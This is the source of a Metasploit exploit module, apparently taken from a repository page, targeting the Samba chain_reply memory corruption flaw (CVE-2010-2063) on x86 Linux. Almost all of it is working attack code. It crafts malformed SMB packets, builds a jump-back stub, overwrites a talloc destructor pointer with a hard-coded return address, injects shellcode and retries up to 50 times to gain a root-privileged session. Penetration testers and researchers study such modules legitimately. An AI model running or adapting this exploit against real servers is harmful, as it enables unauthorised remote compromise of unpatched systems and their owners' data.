metasploit-framework/modules/exploits/linux/samba/chain_reply.rb

218 lines
6.1 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
'Description' => %q{
This exploits a memory corruption vulnerability present in Samba versions
prior to 3.3.13. When handling chained response packets, Samba fails to validate
the offset value used when building the next part. By setting this value to a
number larger than the destination buffer size, an attacker can corrupt memory.
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
cause the header of the input buffer chunk to be corrupted.
After close inspection, it appears that 3.0.x versions of Samba are not
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
heap header of the "InputBuffer", but it didn't seem possible to get the chunk
to be processed again prior to process exit.
In order to gain code execution, this exploit attempts to overwrite a "talloc
chunk" destructor function pointer.
This particular module is capable of exploiting the flaw on x86 Linux systems
that do not have the nx memory protection.
NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
for user sessions in the default configuration.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2010-2063' ],
[ 'OSVDB', '65518' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
],
'Privileged' => true,
'Payload' =>
{
'Space' => 0x600,
'BadChars' => "",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux (Debian5 3.2.5-4lenny6)',
{
'Offset2' => 0x1fec,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
'Stop' => { 'Ret' => 0x081ed5f2 },
'Step' => 0x300 # not used
}
}
],
[ 'Debugging Target',
{
'Offset2' => 0x1fec,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xAABBCCDD },
'Stop' => { 'Ret' => 0xAABBCCDD },
'Step' => 0x300
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 16 2010'))
register_options(
[
Opt::RPORT(139)
], self.class)
end
#
# Note: this code is duplicated from lib/rex/proto/smb/client.rb
#
# Authenticate using clear-text passwords
#
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLen'] = pass.length + 1
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
pkt['Payload'].v['Payload'] = data
self.simple.client.smb_send(pkt.to_s)
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
end
def brute_exploit(addrs)
curr_ret = addrs['Ret']
# Although ecx always points at our buffer, sometimes the heap data gets modified
# and nips off the final byte of our 5 byte jump :(
#
# Solution: try repeatedly until we win.
#
50.times{
begin
print_status("Trying return address 0x%.8x..." % curr_ret)
connect
self.simple.client.session_id = rand(31337)
#select(nil,nil,nil,2)
#puts "press any key"; $stdin.gets
#
# This allows us to allocate a talloc_chunk after the input buffer.
# If doing so fails, we are lost ...
#
10.times {
session_setup_clear_ignore_response('', '', '')
}
# We re-use a pointer from the stack and jump back to our original "inbuf"
distance = target['Offset2'] - 0x80
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
tlen = 0xc00
trans =
"\x00\x04" +
"\x08\x20" +
"\xff"+"SMB"+
# SMBlogoffX
[0x74].pack('V') +
# tc->next, tc->prev
jmp_back + ("\x42" * 3) +
#("A" * 4) + ("B" * 4) +
# tc->parent, tc->child
"CCCCDDDD" +
# tc->refs, must be zero
("\x00" * 4) +
# over writes tc->destructor
[addrs['Ret']].pack('V') +
"\x00\x00\x00\x00"+
"\xd0\x07\x0c\x00"+
"\xd0\x07\x0c\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\xd0\x07"+
"\x43\x00\x0c\x00"+
"\x14\x08\x01\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+
"\x00\x00\x90"
# We put the shellcode first, since only part of this packet makes it into memory.
trans << payload.encoded
trans << rand_text(tlen - trans.length)
# Set what eventually becomes 'smb_off2' to our unvalidated offset value.
smb_off2 = target['Offset2']
trans[39,2] = [smb_off2].pack('v')
sock.put(trans)
rescue EOFError
# nothing
rescue => e
print_error("#{e}")
end
handler
disconnect
# See if we won yet..
select(nil,nil,nil, 1)
break if session_created?
}
end
end